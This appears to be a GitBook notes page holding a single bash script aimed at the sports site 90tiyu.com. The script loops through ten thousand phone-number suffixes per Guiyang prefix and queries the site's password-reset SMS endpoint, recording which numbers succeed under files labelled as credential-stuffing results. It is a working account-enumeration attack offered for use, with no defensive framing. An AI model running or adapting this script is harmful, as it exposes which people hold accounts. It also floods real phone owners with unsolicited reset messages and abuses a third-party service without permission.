> For the complete documentation index, see [llms.txt](https://xn--6o0a585a.gitbook.io/devops/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://xn--6o0a585a.gitbook.io/devops/jin-jie-ji-shu/90tiyu.com-zhuang-ku-chu-dian-hua/90tiyu.com_guiyang.sh.md).

# 90tiyu.com\_guiyang.sh

```bash
#!/bin/bash
mkdir china_phone_全国电话生成
cd    china_phone_全国电话生成

#lynx -dump "http://so.qqdna.com/" | grep php | awk '{print $2}' | parallel -j 30 -k lynx -dump {} | grep mobile | awk '{print $2}' | sed "s/............................//"  | sed "s/\.html//g" > phone
#for p in `cat phone` ; do
#	for n in `echo $p | awk -F'_' '{print $2}'` ; do
#	       touch $p.txt
#	done
#done

for p in `ls | grep '.txt' | grep 'guiyang'` ; do
	phone=`echo $p | awk -F'_' '{print $2}' | sed "s/\.txt//g"`
	 city=`echo $p | awk -F'_' '{print $1}'`
	for a in {0..9}{0..9}{0..9}{0..9} ; do 
			echo "$phone$a 撞库中..."
			curl -s "http://www.90tiyu.com/library/utility/json.ashx?act=getpwdsendphoneverify&phone=$phone$a" | jq | grep 操作成功 
			if [ $? = 0 ] ; then 
				echo "`date "+%Y-%m-%d %H:%M:%S"` $phone$a" >> ben.$city.撞库成功.$phone 
			else 
				echo "`date "+%Y-%m-%d %H:%M:%S"` $phone$a" >> ben.$city.撞库失败.$phone
		       	fi
	done
done

```
